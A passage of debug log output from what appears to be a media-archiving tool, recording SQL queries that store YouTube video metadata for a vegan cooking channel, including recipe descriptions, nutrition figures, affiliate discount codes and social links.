https://ca.santevia.com/STEAMYVEGAN\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "I'm meal prepping this healthy vegan recipe every week (Vegan Casado with Cilantro Lime Tofu)", "cbcdb575-4bab-4dd6-b409-b7e7eb5c8994", 1, [], false, "zD3Hd-HhSsM", "https://www.youtube.com/watch?v=zD3Hd-HhSsM", 105, "/downloads/downloads/alec/Steamy Vegan/2025-03-18 I'm meal prepping this healthy vegan recipe every week (Vegan Casado with Cilantro Lime Tofu)/I'm meal prepping this healthy vegan recipe every week (Vegan Casado with Cilantro Lime Tofu) [zD3Hd-HhSsM].NA", false, false, false, 1, ~U[2025-03-18 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "This meal prep friendly vegan recipe is high-protein, gluten-free and the perfect dish to add to your weekly meal prep! I took one of the most popular dishes in Costa Rica and turned it into this healthy vegan version of a Casado. A traditional Costa Rican casado is a filling combo plate made of rice, beans, cooked plantains, a side salad or veggies, often served with a protein like meat, and cooked veggies. It’s basically the national dish of Costa Rica and you can find a bajillion variations of them there.!\n\nWHY I LOVE CASADOS\n🌱 Very nourishing and balanced\nGreat mix of energy-boosting carbs, proteins and healthy fats\nMade from whole foods and lots of veggies\nA filling meal for physically active people\n\n🌱 Barely have to think\nThe options are endlessly customizable based on what you have\nCan use any variety of rice; canned beans are great, jarred salsa, too\nFresh veggies or a simple side salad\nYour favourite way of cooking tofu\n\n🌱 Meal prep friendly\nBig batch of rice can be cooked at start of week\nCan bake several sweet potatoes, or combination of plantains\nCook a batch of your favourite style of tofu\n\nLooking for more healthy meal prep ideas, check out some of these recent episodes⬇️ \nWhat I Eat in a Day, Meal Prep Recipes: \u00A0\u00A0\u00A0•\u00A0What\u00A0I\u00A0Eat\u00A0in\u00A0a\u00A0Day!\u00A0HEALTHY\u00A0Vegan\u00A0Meal\u00A0Pr...\u00A0\u00A0\n3 Meal Prep Dump and Bake Casseroles: \u00A0\u00A0\u00A0•\u00A03\u00A0Healthy\u00A0Meal\u00A0Prep\u00A0DUMP\u00A0AND\u00A0BAKE\u00A0Vegan\u00A0Ca...\u00A0\u00A0\nVegan Bacon Cheeseburger Casserole: \u00A0\u00A0\u00A0•\u00A0Vegan\u00A0Bacon\u00A0Cheeseburger\u00A0Dump\u00A0and\u00A0Bake\u00A0Cas...\u00A0\u00A0\n\n⬇️ RECIPES BELOW ⬇️\n**Gallo Pinto (Black Beans & Rice)\n3 cups day old cooked rice\n2 cups cooked/canned black beans, not drained or rinsed\n½ red bell pepper, diced\n1 onion, diced\n4 cloves garlic, minced\n1 tsp hot sauce\n2 tbsp worcestershire sauce\n½ tsp cumin\n1 handful fresh cilantro, finely chopped\n\n1. Heat 1 tbsp oil in a large skillet over medium high heat, then add the bell pepper, onion, and garlic and sauté for 3 minutes until slightly softened.\n2. Stir in the black beans with their liquid, plus the hot sauce, worcestershire and cumin. Cook a further 5 minutes or so until the liquid in the pan has reduced a lot and thickened up (truncated) 20:31:06.897 [debug] QUERY OK source="sources" db=1.1ms idle=9.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.899 [debug] QUERY OK source="media_items" db=1.6ms idle=8.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-03-14 00:00:00Z], 1] 20:31:06.901 [debug] QUERY OK source="media_items" db=1.3ms idle=9.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this vegan 'what I eat in a day' video we're making some healthy vegan recipes that are also great for vegan meal prep! We're making vegan 'bacon and egg' breakfast bowls, vegan nicoise salad, and a healthy vegan snack!\n\n🌎Thank you to Earth Echo for sponsoring this video! 🍫 \n\nSave 25% off your first Earth Echo order with code STEAMY at checkout ➡️ https://shop.earthechofoods.com/steamy\n\nRECIPES ON MY BLOG STEAMYVEGAN.COM\nVegan Nicoise Salad ➡️ https://steamyvegan.com/vegan-nicoise...\nCacao Bliss Balls ➡️ https://steamyvegan.com/cacao-bliss-b...\nTVP Bacon Bits ➡️ https://steamyvegan.com/bacon-cheeseb...\nTofu Scramble Recipe (Short) ➡️ \u00A0\u00A0\u00A0•\u00A0The\u00A0best\u00A0TOFU\u00A0SCRAMBLE\u00A0|\u00A0how\u00A0to\u00A0make\u00A0tofu\u00A0...\u00A0\u00A0\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/JANELLEC30\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "What I Eat in a Day! HEALTHY Vegan Meal Prep Recipes 🌱 (Tofu Scramble, TVP Bacon Bits, and more)", "b82cff31-16c6-44ad-95f5-2ea7b2398cac", 1, [], false, "238JZ4qFLXk", "https://www.youtube.com/watch?v=238JZ4qFLXk", 106, "/downloads/downloads/alec/Steamy Vegan/2025-03-14 What I Eat in a Day! HEALTHY Vegan Meal Prep Recipes 🌱 (Tofu Scramble, TVP Bacon Bits, and more)/What I Eat in a Day! HEALTHY Vegan Meal Prep Recipes 🌱 (Tofu Scramble, TVP Bacon Bits, and more) [238JZ4qFLXk].NA", false, false, false, 1, ~U[2025-03-14 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "In this vegan 'what I eat in a day' video we're making some healthy vegan recipes that are also great for vegan meal prep! We're making vegan 'bacon and egg' breakfast bowls, vegan nicoise salad, and a healthy vegan snack!\n\n🌎Thank you to Earth Echo for sponsoring this video! 🍫 \n\nSave 25% off your first Earth Echo order with code STEAMY at checkout ➡️ https://shop.earthechofoods.com/steamy\n\nRECIPES ON MY BLOG STEAMYVEGAN.COM\nVegan Nicoise Salad ➡️ https://steamyvegan.com/vegan-nicoise...\nCacao Bliss Balls ➡️ https://steamyvegan.com/cacao-bliss-b...\nTVP Bacon Bits ➡️ https://steamyvegan.com/bacon-cheeseb...\nTofu Scramble Recipe (Short) ➡️ \u00A0\u00A0\u00A0•\u00A0The\u00A0best\u00A0TOFU\u00A0SCRAMBLE\u00A0|\u00A0how\u00A0to\u00A0make\u00A0tofu\u00A0...\u00A0\u00A0\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/JANELLEC30\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "What I Eat in a Day! HEALTHY Vegan Meal Prep Recipes 🌱 (Tofu Scramble, TVP Bacon Bits, and more)", 1, nil, false, "238JZ4qFLXk", "https://www.youtube.com/watch?v=238JZ4qFLXk", "/downloads/downloads/alec/Steamy Vegan/2025-03-14 What I Eat in a Day! HEALTHY Vegan Meal Prep Recipes 🌱 (Tofu Scramble, TVP Bacon Bits, and more)/What I Eat in a Day! HEALTHY Vegan Meal Prep Recipes 🌱 (Tofu Scramble, TVP Bacon Bits, and more) [238JZ4qFLXk].NA", false, ~U[2025-03-14 00:00:00Z]] 20:31:06.902 [debug] QUERY OK source="sources" db=1.0ms idle=8.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.905 [debug] QUERY OK source="media_items" db=2.5ms idle=7.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-03-08 00:00:00Z], 1] 20:31:06.908 [debug] QUERY OK source="media_items" db=1.5ms idle=8.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this video I'm showing you how to make 3 healthy dump and bake vegan casserole recipes that are gluten-free, high-protein, low calorie and so delicious! Great for meal prep, easy to to make and made with whole food plant based ingredients. Each recipe is roughly 30g of protein and under 500 calories making these the perfect vegan recipes for anyone on a weight loss diet or wanting to build muscle!\n\nALL CASSEROLE RECIPES ON MY BLOG STEAMYVEGAN.COM\nChick'n Fajita Caserole: https://steamyvegan.com/fajita-casser...\nTofu Teriyaki Casserole: https://steamyvegan.com/tofu-teriyaki...\n\nThe Macros...\nChick'n Fajita Casserole\nCalories: 450\nCarbs: 63g\nProtein: 34g\nFats: 11g\n\nTofu Teriyaki Casserole\nCalories: 315\nCarbs: 47g\nProtein: 20g\nFats: 7g\n\nTIP: I love drizzling the Crunchy Chili Onion Oil from Trader Joe's over top of my casseroles, it's SO yummy! ➡️ https://www.traderjoes.com/home/produ...\n\nCheck out some of my other casserole episodes below!:\nLentil Shepherd's Pie: \u00A0\u00A0\u00A0•\u00A03\u00A0Healthy\u00A0DUMP\u00A0AND\u00A0BAKE\u00A0Vegan\u00A0Casserole\u00A0Re...\u00A0\u00A0\nBroccoli and Chickpea Cheezy Casserole: \u00A0\u00A0\u00A0•\u00A03\u00A0Healthy\u00A0DUMP\u00A0AND\u00A0BAKE\u00A0Vegan\u00A0Casserole\u00A0Re...\u00A0\u00A0\nMango Chickpea Curry Casserole: \u00A0\u00A0\u00A0•\u00A02\u00A0Easy\u00A0Dump\u00A0and\u00A0Bake\u00A0Casserole\u00A0Recipes!\u00A0Ve...\u00A0\u00A0\nBlack Bean Enchilada Casserole: \u00A0\u00A0\u00A0•\u00A02\u00A0Easy\u00A0Dump\u00A0and\u00A0Bake\u00A0Casserole\u00A0Recipes!\u00A0Ve...\u00A0\u00A0\nVegan Tuna Casserole: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0'Tuna'\u00A0Casserole!\u00A0One\u00A0of\u00A0My\u00A0FAVE\u00A0Pla...\u00A0\u00A0\nVegan Sausage and Egg Casserole: \u00A0\u00A0\u00A0•\u00A03\u00A0Healthy\u00A0Meal\u00A0Prep\u00A0DUMP\u00A0AND\u00A0BAKE\u00A0Vegan\u00A0Ca...\u00A0\u00A0\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/JANELLEC30\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nTimestamps:\n0:00 - Introduction\n0:52 - Vegan Chicken Fajita Casserole\n5:56 - Tofu Teriyaki Casserole", "2 Healthy Meal Prep DUMP AND BAKE Vegan Casseroles (Gluten-Free) - Chick'n Fajita and Tofu Teriyaki", "c5a94b22-bcd9-4331-b4e7-41f47b39effc", 1, [], false, "YTLAZpdhi54", "https://www.youtube.com/watch?v=YTLAZpdhi54", 107, "/downloads/downloads/alec/Steamy Vegan/2025-03-08 2 Healthy Meal Prep DUMP AND BAKE Vegan Casseroles (Gluten-Free) - Chick'n Fajita and Tofu Teriyaki/2 Healthy Meal Prep DUMP AND BAKE Vegan Casseroles (Gluten-Free) - Chick'n Fajita and Tofu Teriyaki [YTLAZpdhi54].NA", false, false, false, 1, ~U[2025-03-08 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "In this video I'm showing you how to make 3 healthy dump and bake vegan casserole recipes that are gluten-free, high-protein, low calorie and so delicious! Great for meal prep, easy to to make and made with whole food plant based ingredients. Each recipe is roughly 30g of protein and under 500 calories making these the perfect vegan recipes for anyone on a weight loss diet or wanting to build muscle!\n\nALL CASSEROLE RECIPES ON MY BLOG STEAMYVEGAN.COM\nChick'n Fajita Caserole: https://steamyvegan.com/fajita-casser...\nTofu Teriyaki Casserole: https://steamyvegan.com/tofu-teriyaki...\n\nThe Macros...\nChick'n Fajita Casserole\nCalories: 450\nCarbs: 63g\nProtein: 34g\nFats: 11g\n\nTofu Teriyaki Casserole\nCalories: 315\nCarbs: 47g\nProtein: 20g\nFats: 7g\n\nTIP: I love drizzling the Crunchy Chili Onion Oil from Trader Joe's over top of my casseroles, it's SO yummy! ➡️ https://www.traderjoes.com/home/produ...\n\nCheck out some of my other casserole episodes below!:\nLentil Shepherd's Pie: \u00A0\u00A0\u00A0•\u00A03\u00A0Healthy\u00A0DUMP\u00A0AND\u00A0BAKE\u00A0Vegan\u00A0Casserole\u00A0Re...\u00A0\u00A0\nBroccoli and Chickpea Cheezy Casserole: \u00A0\u00A0\u00A0•\u00A03\u00A0Healthy\u00A0DUMP\u00A0AND\u00A0BAKE\u00A0Vegan\u00A0Casserole\u00A0Re...\u00A0\u00A0\nMango Chickpea Curry Casserole: \u00A0\u00A0\u00A0•\u00A02\u00A0Easy\u00A0Dump\u00A0and\u00A0Bake\u00A0Casserole\u00A0Recipes!\u00A0Ve...\u00A0\u00A0\nBlack Bean Enchilada Casserole: \u00A0\u00A0\u00A0•\u00A02\u00A0Easy\u00A0Dump\u00A0and\u00A0Bake\u00A0Casserole\u00A0Recipes!\u00A0Ve...\u00A0\u00A0\nVegan Tuna Casserole: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0'Tuna'\u00A0Casserole!\u00A0One\u00A0of\u00A0My\u00A0FAVE\u00A0Pla...\u00A0\u00A0\nVegan Sausage and Egg Casserole: \u00A0\u00A0\u00A0•\u00A03\u00A0Healthy\u00A0Meal\u00A0Prep\u00A0DUMP\u00A0AND\u00A0BAKE\u00A0Vegan\u00A0Ca...\u00A0\u00A0\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/JANELLEC30\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nTimestamps:\n0:00 - Introduction\n0:52 - Vegan Chicken Fajita Casserole\n5:56 - Tofu Teriyaki Casserole", "2 Healthy Meal Prep DUMP AND BAKE Vegan Casseroles (Gluten-Free) - Chick'n Fajita and Tofu Teriyaki", 1, nil, false, "YTLAZpdhi54", "https://www.youtube.com/watch?v=YTLAZpdhi54", "/downloads/downloads/alec/Steamy Vegan/2025-03-08 2 Healthy Meal Prep DUMP AND BAKE Vegan Casseroles (Gluten-Free) - Chick'n Fajita and Tofu Teriyaki/2 Healthy Meal Prep DUMP AND BAKE Vegan Casseroles (Gluten-Free) - Chick'n Fajita and Tofu Teriyaki [YTLAZpdhi54].NA", false, ~U[2025-03-08 00:00:00Z]] 20:31:06.909 [debug] QUERY OK source="sources" db=0.9ms idle=9.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.912 [debug] QUERY OK source="media_items" db=2.1ms idle=8.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-03-05 00:00:00Z], 1] 20:31:06.914 [debug] QUERY OK source="media_items" db=1.7ms idle=9.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This high protein vegan recipe is one of my new favourite dump and bake casseroles! It tastes just like a deconstructed vegan bacon cheeseburger in an easy casserole form that uses my vegan cashew cheese sauce and my vegan tofu bacon recipes. It's vegan, gluten-free, and takes 15 minutes to throw together in a casserole dish. \n\nVEGAN BACON CHEESEBURGER CASSEROLE recipe on my blog! ➡️ https://steamyvegan.com/bacon-cheeseb...\n🚨 Don't forget to sign up for my free recipe newsletter at https://steamyvegan.com ❗️\n\nCheck out a few of my other casserole recipes below:\nVegan Sausage and Egg Casserole: \u00A0\u00A0\u00A0•\u00A03\u00A0Healthy\u00A0Meal\u00A0Prep\u00A0DUMP\u00A0AND\u00A0BAKE\u00A0Vegan\u00A0Ca...\u00A0\u00A0\nLentil Shepherd's Pie: \u00A0\u00A0\u00A0•\u00A03\u00A0Healthy\u00A0DUMP\u00A0AND\u00A0BAKE\u00A0Vegan\u00A0Casserole\u00A0Re...\u00A0\u00A0\nBroccoli and Chickpea Cheezy Casserole: \u00A0\u00A0\u00A0•\u00A03\u00A0Healthy\u00A0DUMP\u00A0AND\u00A0BAKE\u00A0Vegan\u00A0Casserole\u00A0Re...\u00A0\u00A0\nMango Chickpea Curry Casserole: \u00A0\u00A0\u00A0•\u00A02\u00A0Easy\u00A0Dump\u00A0and\u00A0Bake\u00A0Casserole\u00A0Recipes!\u00A0Ve...\u00A0\u00A0\nBlack Bean Enchilada Casserole: \u00A0\u00A0\u00A0•\u00A02\u00A0Easy\u00A0Dump\u00A0and\u00A0Bake\u00A0Casserole\u00A0Recipes!\u00A0Ve...\u00A0\u00A0\nVegan Tuna Casserole: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0'Tuna'\u00A0Casserole!\u00A0One\u00A0of\u00A0My\u00A0FAVE\u00A0Pla...\u00A0\u00A0\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/JANELLEC30\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Vegan Bacon Cheeseburger Dump and Bake Casserole Recipe", "714edda0-5de6-489f-8854-c86426d561d1", 1, [], false, "bBXp1cAIiOk", "https://www.youtube.com/watch?v=bBXp1cAIiOk", 108, "/downloads/downloads/alec/Steamy Vegan/2025-03-05 Vegan Bacon Cheeseburger Dump and Bake Casserole Recipe/Vegan Bacon Cheeseburger Dump and Bake Casserole Recipe [bBXp1cAIiOk].NA", false, false, false, 1, ~U[2025-03-05 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "This high protein vegan recipe is one of my new favourite dump and bake casseroles! It tastes just like a deconstructed vegan bacon cheeseburger in an easy casserole form that uses my vegan cashew cheese sauce and my vegan tofu bacon recipes. It's vegan, gluten-free, and takes 15 minutes to throw together in a casserole dish. \n\nVEGAN BACON CHEESEBURGER CASSEROLE recipe on my blog! ➡️ https://steamyvegan.com/bacon-cheeseb...\n🚨 Don't forget to sign up for my free recipe newsletter at https://steamyvegan.com ❗️\n\nCheck out a few of my other casserole recipes below:\nVegan Sausage and Egg Casserole: \u00A0\u00A0\u00A0•\u00A03\u00A0Healthy\u00A0Meal\u00A0Prep\u00A0DUMP\u00A0AND\u00A0BAKE\u00A0Vegan\u00A0Ca...\u00A0\u00A0\nLentil Shepherd's Pie: \u00A0\u00A0\u00A0•\u00A03\u00A0Healthy\u00A0DUMP\u00A0AND\u00A0BAKE\u00A0Vegan\u00A0Casserole\u00A0Re...\u00A0\u00A0\nBroccoli and Chickpea Cheezy Casserole: \u00A0\u00A0\u00A0•\u00A03\u00A0Healthy\u00A0DUMP\u00A0AND\u00A0BAKE\u00A0Vegan\u00A0Casserole\u00A0Re...\u00A0\u00A0\nMango Chickpea Curry Casserole: \u00A0\u00A0\u00A0•\u00A02\u00A0Easy\u00A0Dump\u00A0and\u00A0Bake\u00A0Casserole\u00A0Recipes!\u00A0Ve...\u00A0\u00A0\nBlack Bean Enchilada Casserole: \u00A0\u00A0\u00A0•\u00A02\u00A0Easy\u00A0Dump\u00A0and\u00A0Bake\u00A0Casserole\u00A0Recipes!\u00A0Ve...\u00A0\u00A0\nVegan Tuna Casserole: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0'Tuna'\u00A0Casserole!\u00A0One\u00A0of\u00A0My\u00A0FAVE\u00A0Pla...\u00A0\u00A0\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/JANELLEC30\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Vegan Bacon Cheeseburger Dump and Bake Casserole Recipe", 1, nil, false, "bBXp1cAIiOk", "https://www.youtube.com/watch?v=bBXp1cAIiOk", "/downloads/downloads/alec/Steamy Vegan/2025-03-05 Vegan Bacon Cheeseburger Dump and Bake Casserole Recipe/Vegan Bacon Cheeseburger Dump and Bake Casserole Recipe [bBXp1cAIiOk].NA", false, ~U[2025-03-05 00:00:00Z]] 20:31:06.915 [debug] QUERY OK source="sources" db=0.9ms idle=9.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.918 [debug] QUERY OK source="media_items" db=2.2ms idle=7.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-03-01 00:00:00Z], 1] 20:31:06.922 [debug] QUERY OK source="media_items" db=3.7ms idle=8.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This minestrone soup recipe is touted as being an easy and delicious recipe for longevity amongst one of the oldest families in Sardinia, Italy! If you're looking to add a staple vegan recipe into your plant-based diet for weight loss and longevity then this is the perfect recipe for 